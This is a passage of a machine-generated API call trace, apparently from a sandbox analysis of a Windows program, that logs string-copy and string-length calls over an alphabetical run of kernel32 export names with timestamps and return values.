(lpString="BASEPAPPXEXTENSION") returned 18 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0130.699] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0130.699] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0130.700] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0130.700] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0130.700] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0130.700] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0130.700] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0130.700] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0130.700] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0130.700] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0130.700] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0130.700] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0130.700] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0130.700] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0130.700] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0130.700] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0130.700] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0130.700] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0130.700] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0130.701] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0130.701] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0130.701] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0130.701] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0130.701] lstrlenA (lpString="BEEP") returned 4 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0130.701] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0130.701] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0130.701] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0130.701] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0130.701] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0130.701] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0130.701] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0130.701] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0130.701] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0130.701] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0130.701] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0130.701] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0130.701] lstrlenA (lpString="CANCELIO") returned 8 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0130.702] lstrlenA (lpString="CANCELIOEX") returned 10 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0130.702] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0130.702] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0130.702] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0130.702] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0130.702] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0130.702] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0130.702] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0130.702] lstrlenA (lpString="CHECKELEVATION") returned 14 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0130.702] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0130.702] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0130.702] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0130.702] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0130.702] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0130.702] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0130.702] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0130.702] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0130.703] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0130.703] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0130.703] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0130.703] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0130.703] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0130.703] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0130.703] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0130.703] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0130.703] lstrlenA (lpString="CLOSESTATE") returned 10 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0130.703] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0130.703] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0130.703] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0130.704] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0130.704] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0130.704] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0130.704] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0130.704] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0130.704] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0130.704] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0130.704] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0130.704] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0130.704] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0130.704] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0130.704] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0130.704] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0130.704] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0130.704] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0130.704] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0130.704] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0130.705] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0130.705] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0130.705] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0130.705] lstrlenA (lpString="COPYCONTEXT") returned 11 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0130.705] lstrlenA (lpString="COPYFILE2") returned 9 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0130.705] lstrlenA (lpString="COPYFILEA") returned 9 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0130.705] lstrlenA (lpString="COPYFILEEXA") returned 11 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0130.705] lstrlenA (lpString="COPYFILEEXW") returned 11 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0130.705] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0130.705] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0130.705] lstrlenA (lpString="COPYFILEW") returned 9 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0130.705] lstrlenA (lpString="COPYLZFILE") returned 10 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0130.705] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0130.705] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0130.705] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0130.705] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0130.705] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0130.705] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0130.706] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0130.706] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0130.706] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0130.706] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0130.706] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0130.706] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0130.706] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0130.706] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0130.706] lstrlenA (lpString="CREATEEVENTA") returned 12 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0130.706] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0130.706] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0130.706] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0130.706] lstrlenA (lpString="CREATEEVENTW") returned 12 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0130.707] lstrlenA (lpString="CREATEFIBER") returned 11 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0130.707] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0130.707] lstrlenA (lpString="CREATEFILE2") returned 11 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0130.707] lstrlenA (lpString="CREATEFILEA") returned 11 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0130.707] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0130.707] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0130.707] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0130.707] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0130.707] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0130.707] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0130.707] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0130.707] lstrlenA (lpString="CREATEFILEW") returned 11 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0130.707] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0130.707] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, 